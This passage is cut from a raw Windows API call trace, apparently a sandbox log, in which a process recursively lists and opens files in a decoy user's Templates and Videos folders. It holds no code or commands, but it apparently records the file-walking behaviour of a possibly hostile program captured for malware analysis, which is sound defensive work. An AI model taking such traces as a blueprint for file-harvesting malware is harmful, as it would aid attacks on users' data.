HALPmcxz\\Templates" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.031] GetLastError () returned 0x5 [0091.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.033] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.033] GetLastError () returned 0x5 [0091.033] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.033] GetLastError () returned 0x5 [0091.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.034] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f74bc50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f74bc50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0091.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.034] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f74bc50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f74bc50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.034] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0091.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.035] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0091.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.035] NtClose (Handle=0x16c) returned 0x0 [0091.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.036] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0091.036] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f74bc50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f74bc50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.036] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd294c4c0, ftCreationTime.dwHighDateTime=0x1d5c4fe, ftLastAccessTime.dwLowDateTime=0x914ee300, ftLastAccessTime.dwHighDateTime=0x1d5bab9, ftLastWriteTime.dwLowDateTime=0x914ee300, ftLastWriteTime.dwHighDateTime=0x1d5bab9, nFileSizeHigh=0x0, nFileSizeLow=0x12ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="1vPpk.swf", cAlternateFileName="")) returned 1 [0091.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6238 [0091.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fab90 [0091.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.038] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6258 [0091.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fac18 [0091.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.040] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87356d50, ftCreationTime.dwHighDateTime=0x1d5b977, ftLastAccessTime.dwLowDateTime=0x12bf9b90, ftLastAccessTime.dwHighDateTime=0x1d5b6c4, ftLastWriteTime.dwLowDateTime=0x12bf9b90, ftLastWriteTime.dwHighDateTime=0x1d5b6c4, nFileSizeHigh=0x0, nFileSizeLow=0x163b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dng4U.flv", cAlternateFileName="")) returned 1 [0091.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6278 [0091.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faca0 [0091.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.042] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e4c30, ftCreationTime.dwHighDateTime=0x1d5bf76, ftLastAccessTime.dwLowDateTime=0x6db6adc0, ftLastAccessTime.dwHighDateTime=0x1d5c292, ftLastWriteTime.dwLowDateTime=0x6db6adc0, ftLastWriteTime.dwHighDateTime=0x1d5c292, nFileSizeHigh=0x0, nFileSizeLow=0xbf07, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dvp705b.flv", cAlternateFileName="")) returned 1 [0091.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6298 [0091.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fad28 [0091.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.044] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3742cd40, ftCreationTime.dwHighDateTime=0x1d5b663, ftLastAccessTime.dwLowDateTime=0x3c75ce70, ftLastAccessTime.dwHighDateTime=0x1d5bb7c, ftLastWriteTime.dwLowDateTime=0x3c75ce70, ftLastWriteTime.dwHighDateTime=0x1d5bb7c, nFileSizeHigh=0x0, nFileSizeLow=0x16fc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HF WrzM9MD.swf", cAlternateFileName="")) returned 1 [0091.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f62b8 [0091.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fadb0 [0091.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x98c0) returned 0x132a698 [0091.046] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29046950, ftCreationTime.dwHighDateTime=0x1d5c4b4, ftLastAccessTime.dwLowDateTime=0x1a1f1590, ftLastAccessTime.dwHighDateTime=0x1d5b8af, ftLastWriteTime.dwLowDateTime=0x1a1f1590, ftLastWriteTime.dwHighDateTime=0x1d5b8af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Il9QHTKlq8KaFESJJA", cAlternateFileName="")) returned 1 [0091.046] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8214b0, ftCreationTime.dwHighDateTime=0x1d5be40, ftLastAccessTime.dwLowDateTime=0xb28ec310, ftLastAccessTime.dwHighDateTime=0x1d5c107, ftLastWriteTime.dwLowDateTime=0xb28ec310, ftLastWriteTime.dwHighDateTime=0x1d5c107, nFileSizeHigh=0x0, nFileSizeLow=0x131fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="nQ4wFS_wnoxe.swf", cAlternateFileName="")) returned 1 [0091.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f62d8 [0091.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fae38 [0091.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29b06b00, ftCreationTime.dwHighDateTime=0x1d5b9e3, ftLastAccessTime.dwLowDateTime=0xc1957db0, ftLastAccessTime.dwHighDateTime=0x1d5b9d5, ftLastWriteTime.dwLowDateTime=0xc1957db0, ftLastWriteTime.dwHighDateTime=0x1d5b9d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OXF59RZWsB", cAlternateFileName="")) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29b06b00, ftCreationTime.dwHighDateTime=0x1d5b9e3, ftLastAccessTime.dwLowDateTime=0xc1957db0, ftLastAccessTime.dwHighDateTime=0x1d5b9d5, ftLastWriteTime.dwLowDateTime=0xc1957db0, ftLastWriteTime.dwHighDateTime=0x1d5b9d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OXF59RZWsB", cAlternateFileName="")) returned 0 [0091.048] GetLastError () returned 0x12 [0091.048] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0091.048] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f74bc50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f74bc50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd294c4c0, ftCreationTime.dwHighDateTime=0x1d5c4fe, ftLastAccessTime.dwLowDateTime=0x914ee300, ftLastAccessTime.dwHighDateTime=0x1d5bab9, ftLastWriteTime.dwLowDateTime=0x914ee300, ftLastWriteTime.dwHighDateTime=0x1d5bab9, nFileSizeHigh=0x0, nFileSizeLow=0x12ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="1vPpk.swf", cAlternateFileName="")) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87356d50, ftCreationTime.dwHighDateTime=0x1d5b977, ftLastAccessTime.dwLowDateTime=0x12bf9b90, ftLastAccessTime.dwHighDateTime=0x1d5b6c4, ftLastWriteTime.dwLowDateTime=0x12bf9b90, ftLastWriteTime.dwHighDateTime=0x1d5b6c4, nFileSizeHigh=0x0, nFileSizeLow=0x163b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dng4U.flv", cAlternateFileName="")) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e4c30, ftCreationTime.dwHighDateTime=0x1d5bf76, ftLastAccessTime.dwLowDateTime=0x6db6adc0, ftLastAccessTime.dwHighDateTime=0x1d5c292, ftLastWriteTime.dwLowDateTime=0x6db6adc0, ftLastWriteTime.dwHighDateTime=0x1d5c292, nFileSizeHigh=0x0, nFileSizeLow=0xbf07, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dvp705b.flv", cAlternateFileName="")) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3742cd40, ftCreationTime.dwHighDateTime=0x1d5b663, ftLastAccessTime.dwLowDateTime=0x3c75ce70, ftLastAccessTime.dwHighDateTime=0x1d5bb7c, ftLastWriteTime.dwLowDateTime=0x3c75ce70, ftLastWriteTime.dwHighDateTime=0x1d5bb7c, nFileSizeHigh=0x0, nFileSizeLow=0x16fc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HF WrzM9MD.swf", cAlternateFileName="")) returned 1 [0091.048] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29046950, ftCreationTime.dwHighDateTime=0x1d5c4b4, ftLastAccessTime.dwLowDateTime=0x1a1f1590, ftLastAccessTime.dwHighDateTime=0x1d5b8af, ftLastWriteTime.dwLowDateTime=0x1a1f1590, ftLastWriteTime.dwHighDateTime=0x1d5b8af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Il9QHTKlq8KaFESJJA", cAlternateFileName="")) returned 1 [0091.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.049] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Il9QHTKlq8KaFESJJA" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\il9qhtklq8kafesjja"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29046950, ftCreationTime.dwHighDateTime=0x1d5c4b4, ftLastAccessTime.dwLowDateTime=0x1a1f1590, ftLastAccessTime.dwHighDateTime=0x1d5b8af, ftLastWriteTime.dwLowDateTime=0x1a1f1590, ftLastWriteTime.dwHighDateTime=0x1d5b8af, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Il9QHTKlq8KaFESJJA" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\il9qhtklq8kafesjja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.049] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.049] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.050] NtClose (Handle=0x16c) returned 0x0 [0091.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.051] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Il9QHTKlq8KaFESJJA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0091.051] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29046950, ftCreationTime.dwHighDateTime=0x1d5c4b4, ftLastAccessTime.dwLowDateTime=0x1a1f1590, ftLastAccessTime.dwHighDateTime=0x1d5b8af, ftLastWriteTime.dwLowDateTime=0x1a1f1590, ftLastWriteTime.dwHighDateTime=0x1d5b8af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.051] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501d67c0, ftCreationTime.dwHighDateTime=0x1d5bba5, ftLastAccessTime.dwLowDateTime=0xccf14000, ftLastAccessTime.dwHighDateTime=0x1d5bf4c, ftLastWriteTime.dwLowDateTime=0xccf14000, ftLastWriteTime.dwHighDateTime=0x1d5bf4c, nFileSizeHigh=0x0, nFileSizeLow=0xe610, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Ict3tlwR1Z6p-p.mp4", cAlternateFileName="")) returned 1 [0091.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0091.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f62f8 [0091.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13511f0 [0091.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.054] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bc2fa0, ftCreationTime.dwHighDateTime=0x1d5bc7e, ftLastAccessTime.dwLowDateTime=0x7f84c6d0, ftLastAccessTime.dwHighDateTime=0x1d5b5af, ftLastWriteTime.dwLowDateTime=0x7f84c6d0, ftLastWriteTime.dwHighDateTime=0x1d5b5af, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="kQ_32_tpI2X.mp4", cAlternateFileName="")) returned 1 [0091.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6318 [0091.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13510e8 [0091.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.055] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3be4100, ftCreationTime.dwHighDateTime=0x1d5bbe6, ftLastAccessTime.dwLowDateTime=0x9925a110, ftLastAccessTime.dwHighDateTime=0x1d5c4c1, ftLastWriteTime.dwLowDateTime=0x9925a110, ftLastWriteTime.dwHighDateTime=0x1d5c4c1, nFileSizeHigh=0x0, nFileSizeLow=0x86d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LqeBuTBJn5LNzDQwM.swf", cAlternateFileName="")) returned 1 [0091.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 